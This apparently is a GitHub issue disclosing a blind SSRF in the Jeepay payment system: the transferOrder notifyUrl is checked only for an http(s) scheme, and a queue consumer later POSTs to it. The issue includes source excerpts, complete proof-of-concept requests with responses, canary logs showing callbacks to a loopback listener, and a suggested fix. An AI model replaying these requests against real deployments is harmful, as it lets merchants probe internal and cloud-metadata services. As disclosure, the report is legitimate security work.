Skip to content

SSRF in Jeepay Transfer Notification notifyUrl #119

Description

@cyuanb

Summary

Jeepay contains a blind SSRF vulnerability in the transfer endpoint POST /api/transferOrder, where the merchant-controlled notifyUrl is validated only by its HTTP(S) scheme and later used by the asynchronous notification service to send server-side HTTP requests, allowing attackers with merchant signing privileges to access loopback, private-network, link-local, cloud-metadata, and other internal services from the payment container.

Root Cause

The source is the signed merchant transfer request. TransferOrderController reads TransferOrderRQ.notifyUrl and performs a protocol check before the transfer is created:

// jeepay-payment/src/main/java/com/jeequan/jeepay/pay/ctrl/transfer/TransferOrderController.java:65-87
if(StringUtils.isNotEmpty(bizRQ.getNotifyUrl()) && !StringKit.isAvailableUrl(bizRQ.getNotifyUrl())){
    throw new BizException("异步通知地址协议仅支持http:// 或 https:// !");
}

The helper used by this check is only a scheme check:

// jeepay-core/src/main/java/com/jeequan/jeepay/core/utils/StringKit.java:89-97
public static boolean isAvailableUrl(String url){
    if(StringUtils.isEmpty(url)){
        return false;
    }
    return url.startsWith("http://") || url.startsWith("https://");
}

Thus a URL such as http://127.0.0.1:28081/... passes validation. After the transfer is processed, PayMchNotifyService.transferOrderNotify() stores the notification destination and places its record ID on the message queue:

// jeepay-payment/src/main/java/com/jeequan/jeepay/pay/service/PayMchNotifyService.java:175-198
mchNotifyRecord.setNotifyUrl(notifyUrl);
mchNotifyRecord.setState(MchNotifyRecord.STATE_ING);
mchNotifyRecordService.save(mchNotifyRecord);
Long notifyId = mchNotifyRecord.getNotifyId();
mqSender.send(PayOrderMchNotifyMQ.build(notifyId));

The queue consumer is the actual network sink:

// jeepay-payment/src/main/java/com/jeequan/jeepay/pay/mq/PayOrderMchNotifyMQReceiver.java:72-83
String host = notifyUrl.split("\\?")[0];
Map bodyMap = HttpUtil.decodeParamMap(notifyUrl, CharsetUtil.CHARSET_UTF_8);
res = HttpUtil.post(host, bodyMap, 20000);

The complete flow is:

signed POST /api/transferOrder
  -> TransferOrderRQ.notifyUrl
  -> scheme-only StringKit.isAvailableUrl()
  -> TransferOrder is saved
  -> PayMchNotifyService creates MchNotifyRecord.notifyUrl
  -> MQ notification message
  -> PayOrderMchNotifyMQReceiver
  -> HttpUtil.post(attacker-controlled host, callback parameters)

POC

  • The Canary listened on 127.0.0.1:28081 inside the payment container network namespace.

Canary A: submit the transfer order

Request

POST /api/transferOrder HTTP/1.1
Host: localhost:37889
User-Agent: curl/7.81.0
Accept: */*
Content-Type: application/json
Content-Length: 413

{"version":"1.0","signType":"MD5","reqTime":"1785922603717","mchNo":"MFC100001","appId":"APPFC100001","mchOrderNo":"RERUN-SSRF001-A-202608051740","ifCode":"wxpay","entryType":"WX_CASH","amount":1,"currency":"cny","accountNo":"oSSRF001","accountName":"SSRF Test","transferDesc":"authorized SSRF validation retry","notifyUrl":"http://127.0.0.1:28081/poc/jeepay_SSRF-001-A","sign":"7F69A9565778E4CDE8DFF8C993736391"}

Response

HTTP/1.1 200
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Content-Type: application/json;charset=UTF-8
Content-Length: 307
Date: Wed, 05 Aug 2026 09:36:43 GMT

{"code":0,"data":{"accountName":"SSRF Test","accountNo":"oSSRF001","amount":1,"errMsg":"请确保证书文件地址【privateKeyPath】或者内容已配置","mchOrderNo":"RERUN-SSRF001-A-202608051740","state":3,"transferId":"T2084936631264141314"},"msg":"SUCCESS","sign":"5432F2F641AA0C063E15B3ED7D888589"}

Canary B: submit the transfer order

Request

POST /api/transferOrder HTTP/1.1
Host: localhost:37889
User-Agent: curl/7.81.0
Accept: */*
Content-Type: application/json
Content-Length: 413

{"version":"1.0","signType":"MD5","reqTime":"1785922603764","mchNo":"MFC100001","appId":"APPFC100001","mchOrderNo":"RERUN-SSRF001-B-202608051741","ifCode":"wxpay","entryType":"WX_CASH","amount":1,"currency":"cny","accountNo":"oSSRF001","accountName":"SSRF Test","transferDesc":"authorized SSRF validation retry","notifyUrl":"http://127.0.0.1:28081/poc/jeepay_SSRF-001-B","sign":"F91D5A38A443A2CE1808D52DBCF8E251"}

Response

HTTP/1.1 200
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Content-Type: application/json;charset=UTF-8
Content-Length: 307
Date: Wed, 05 Aug 2026 09:36:43 GMT

{"code":0,"data":{"accountName":"SSRF Test","accountNo":"oSSRF001","amount":1,"errMsg":"请确保证书文件地址【privateKeyPath】或者内容已配置","mchOrderNo":"RERUN-SSRF001-B-202608051741","state":3,"transferId":"T2084936631515799553"},"msg":"SUCCESS","sign":"988CAC75C33D441E0FA07C82687CA37E"}

Canary Log

POST /poc/jeepay_SSRF-001-A
source: 127.0.0.1
body: ifCode=wxpay&entryType=WX_CASH&amount=1&accountName=SSRF+Test&mchOrderNo=RERUN-SSRF001-A-202608051740&errMsg=%E8%AF%B7%E7%A1%AE%E4%BF%9D%E8%AF%81%E4%B9%A6%E6%96%87%E4%BB%B6%E5%9C%B0%E5%9D%80%E3%80%90privateKeyPath%E3%80%91%E6%88%96%E8%80%85%E5%86%85%E5%AE%B9%E5%B7%B2%E9%85%8D%E7%BD%AE&sign=F2F591EFDD7C3E672D705027DAE70E05&transferDesc=authorized+SSRF+validation+retry&reqTime=1785922603818&transferId=T2084936631264141314&createdAt=1785922603800&accountNo=oSSRF001&appId=APPFC100001&currency=cny&state=3&mchNo=MFC100001

POST /poc/jeepay_SSRF-001-B
source: 127.0.0.1
body: ifCode=wxpay&entryType=WX_CASH&amount=1&accountName=SSRF+Test&mchOrderNo=RERUN-SSRF001-B-202608051741&errMsg=%E8%AF%B7%E7%A1%AE%E4%BF%9D%E8%AF%81%E4%B9%A6%E6%96%87%E4%BB%B6%E5%9C%B0%E5%9D%80%E3%80%90privateKeyPath%E3%80%91%E6%88%96%E8%80%85%E5%86%85%E5%AE%B9%E5%B7%B2%E9%85%8D%E7%BD%AE&sign=8F019198505FA1B7D5FCF79D61736560&transferDesc=authorized+SSRF+validation+retry&reqTime=1785922603879&transferId=T2084936631515799553&createdAt=1785922603860&accountNo=oSSRF001&appId=APPFC100001&currency=cny&state=3&mchNo=MFC100001

Impact

The payment service can be induced to send HTTP requests from its network position to loopback and other reachable internal services.

Suggested Fix

Parse and resolve the destination before every request, reject loopback/private/link-local/multicast/metadata ranges after DNS resolution and again after connection, and enforce an explicit outbound allowlist with redirect restrictions. Apply the same policy to all notification URL fields and retain bounded timeouts.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions